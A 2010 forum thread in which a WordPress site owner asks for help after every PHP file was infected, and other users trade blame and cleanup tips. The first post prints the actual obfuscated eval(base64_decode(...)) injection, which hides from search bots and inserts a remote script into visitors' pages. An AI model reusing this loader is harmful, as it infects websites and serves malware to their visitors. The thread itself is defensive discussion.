hey i site have be hacked with eval(base64_decode(

Discussion in 'Security' started by brightyoursite, May 1, 2010.

  1. #1
    my site with wordpress and host at godaddy was hacked every php have ineffect with the following codes
    
    eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5clpHcHJabXB6YTJSbWFteHphMlJxWmk1amIyMHZhM0F1Y0dod0lqNDhMM05qY21sd2REND0iKTsgICAgICB9ICAgICAgcmV0dXJuICIiOyAgICAgfSAgICB9ICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXsgICAgIGZ1bmN0aW9uIGd6ZGVjb2RlKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMpeyAgICAgICRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQ9QG9yZChAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMywxKSk7ICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT0xMDsgICAgICAkUkEzRDUyRTUyQTQ4OTM2Q0RFMEY1MzU2QkIwODY1MkYyPTA7ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2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zMzUzPUBnemluZmxhdGUoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKTsgICAgICBpZigkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPT09RkFMU0UpeyAgICAgICAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPSRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEM7ICAgICAgfSAgICAgIHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzOyAgICAgfSAgICB9ICAgIGZ1bmN0aW9uIG1yb2JoKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpeyAgICAgSGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7ICAgICAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFPWd6ZGVjb2RlKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpOyAgICAgICBpZihwcmVnX21hdGNoKCcvXDxcL2JvZHkvc2knLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpKXsgICAgICByZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8XC9ib2R5W15cPl0qXD4pL3NpJyxnbWwoKS4iXG4iLickMScsJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERSk7ICAgICB9ZWxzZXsgICAgICByZXR1cm4gJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERS5nbWwoKTsgICAgIH0gICAgfSAgICBvYl9zdGFydCgnbXJvYmgnKTsgICB9ICB9"));?>
    
    Code (markup):
    i clean it again and again also changed my ftp site pwd ,but it was hacked again after about 3 days later , any suggestions
     
    brightyoursite, May 1, 2010 IP
  2. lalasd

    lalasd Peon

    Messages:
    333
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #2
    I got this

    can i have a link to your site.

    change your host ... change passwords.
     
    lalasd, May 1, 2010 IP
  3. brightyoursite

    brightyoursite Peon

    Messages:
    59
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    0
    #3
    brightyoursite, May 1, 2010 IP
  4. p.hall

    p.hall Guest

    Messages:
    26
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #4
    Change your host.
     
    p.hall, May 1, 2010 IP
  5. SecureCP

    SecureCP Guest

    Messages:
    226
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    0
    #5
    everyone blames the host... it's the easiest way out. Change your passwords, scan your computer for viruses, and start using scp or sftp. Also, request logs from /var/log/messages of your username (assuming you're linux) and have the host block any ips from the server that aren't from your IP or if you have one your developer's.
     
    SecureCP, May 3, 2010 IP
  6. brightyoursite

    brightyoursite Peon

    Messages:
    59
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    0
    #6
    thanks for you respomnse but the problem its host in godaddy not my own server
     
    brightyoursite, May 3, 2010 IP
  7. SecureCP

    SecureCP Guest

    Messages:
    226
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    0
    #7
    yeah, whether it's your own server or not makes no difference. If it was your own server, it would be much worse. I've dealt with thousands, not exaggerating, of these cases. I don't care who your host is, it's your problem. If your don't believe me, I can give a wonderful explanation but I digress. I hate godaddy and would never stick up for them, so know that.
     
    SecureCP, May 3, 2010 IP
  8. ddmd

    ddmd Peon

    Messages:
    60
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    0
    #8
    No, it was a problem at Godaddy. Sites with the latest version of Wordpress (or just running simple HTML sites) AND using strong
    passwords got hacked.

    Their shared server got a problem that allowed their clients to get infected (similar to what happened to Netsol a few weeks ago). Don't blame the user, when they are doing their job. More info:
    http://blog.sucuri.net/2010/05/second-round-of-godaddy-sites-hacked.html

    But I agree, it is your site and if something happens you are the one that have to deal with it.

    *Btw, If you are looking for a way to scan your site for malware, check: http://sucuri.net
     
    ddmd, May 4, 2010 IP
  9. ryan1918

    ryan1918 Active Member

    Messages:
    668
    Likes Received:
    8
    Best Answers:
    0
    Trophy Points:
    60
    #9
    That's what you get for using massive wide things, once a 0day vulnerability comes out, you can expect your site to get hit sooner or later most small sites will never incur this bcause they are not known..

    My site gets at least a few hundred hacking attempts daily, If you secure your software and server you shouldn't have to worry about anything.
     
    ryan1918, May 5, 2010 IP
  10. mubashirnisar

    mubashirnisar Banned

    Messages:
    2,186
    Likes Received:
    22
    Best Answers:
    0
    Trophy Points:
    0
    #10
    its the godaddy which got hacked,i m having a client of mine who was hosted there and have been infected with same kind of virus twice,so it is basiclly godaddy host
     
    mubashirnisar, May 6, 2010 IP
  11. AlcVitRes

    AlcVitRes Well-Known Member

    Messages:
    124
    Likes Received:
    3
    Best Answers:
    0
    Trophy Points:
    130
    #11
    Old (vulnerable) version of WordPress or trojan still
    inside your computer having full access 2 FTP client.

    First step is ensure computer security, next, change
    FTP/site access passwords, then restore installation
    from backup (if it's present) or reinstall a new. It has
    nothing to do with GoDaddy, a problem is at your side.

    Was your WP templates clean from virus before install?
     
    AlcVitRes, May 7, 2010 IP
  12. CyberHacK

    CyberHacK Peon

    Messages:
    36
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #12
    Yeah It was GoDaddy I was hosted with them :(
     
    CyberHacK, May 9, 2010 IP
  13. Tokio

    Tokio Peon

    Messages:
    250
    Likes Received:
    6
    Best Answers:
    0
    Trophy Points:
    0
    #13
    It's not just godaddy. I'm on Dreamhost and also had this added to all my php files.

    I think I managed to clean it all up using SSH but I don't think it was just me because dreamhost sent out an email to infected people with instructions on how to clean it up. They (dreamhost) also changed the passwords for the infected users to stop us from getting infected again.

    By the way!! If you've been infected check your main domain for a folder called .files. They seemed to have uploaded a ton of html articles.
    For cleanup Sucuri has an SSH command you can use or a php wordpress fix that you can run.

    (and yes, I ran a virus/malware scan on my computer. That's the first thing I did because I thought it was just me)
     
    Tokio, May 10, 2010 IP
  14. craig105

    craig105 Well-Known Member

    Messages:
    877
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    138
    #14
    My site has also been hacked every week 3 times now. I'm hosted on godaddy too. I have followed all steps to protect and remove the eval code but it keeps coming back. I wonder if there is away to scan databases to find malicious code.
     
    craig105, May 12, 2010 IP
  15. mrwatkins83

    mrwatkins83 Peon

    Messages:
    4
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #15
    Hi Craig, same problem (shared linux server hosted with GoDaddy) running Joomla. Any word on if you've found a way to scan the database for malicious code?
     
    mrwatkins83, May 12, 2010 IP
  16. mrwatkins83

    mrwatkins83 Peon

    Messages:
    4
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #16
    Here's a quick fix that seems to have helped me out. I don't know what's causing the coding to reappear, but this seemed to remove it without any major issues. http://blog.sucuri.net/2010/05/simple-cleanup-solution-for-latest.html
     
    mrwatkins83, May 12, 2010 IP
  17. craig105

    craig105 Well-Known Member

    Messages:
    877
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    138
    #17
    I just exported my database and looked for keywords in wordpad with the find tool. I never found anything though and not really sure what to look for apart from "eval" lol
     
    craig105, May 12, 2010 IP
  18. Mike-XS

    Mike-XS Greenhorn

    Messages:
    28
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    13
    #18
    These hacks have been occuring for months , and it affects Dreamhost, Network Solutions and Godaddy at the very least. The only difference betwen those hosts is that Godaddy prefers to put the blame on their customers, or anything else they can find instead of actually doing something about it and securing their servers.

    Dreamhost and Network Solutions both accepted that they had server problems, Godaddy are either too blind or too arrogant to accept any responsibility for their own insecurities.

    Godaddy should stop putting it's head in the sand and stop blaming the victims.
     
    Last edited: May 12, 2010
    Mike-XS, May 12, 2010 IP
  19. Blue Star Ent.

    Blue Star Ent. Well-Known Member

    Messages:
    1,989
    Likes Received:
    31
    Best Answers:
    0
    Trophy Points:
    160
    #19
    Here is a LINK to the same problem in another thread. LINK
     
    Blue Star Ent., May 13, 2010 IP
  20. WeWatch

    WeWatch Active Member

    Messages:
    75
    Likes Received:
    3
    Best Answers:
    0
    Trophy Points:
    50
    #20
    You should scan all your files for the string: eval(base64_decode(...

    If you're on a PC you can download grepWin and scan for that string after you download the entire site to your computer.
     
    WeWatch, May 13, 2010 IP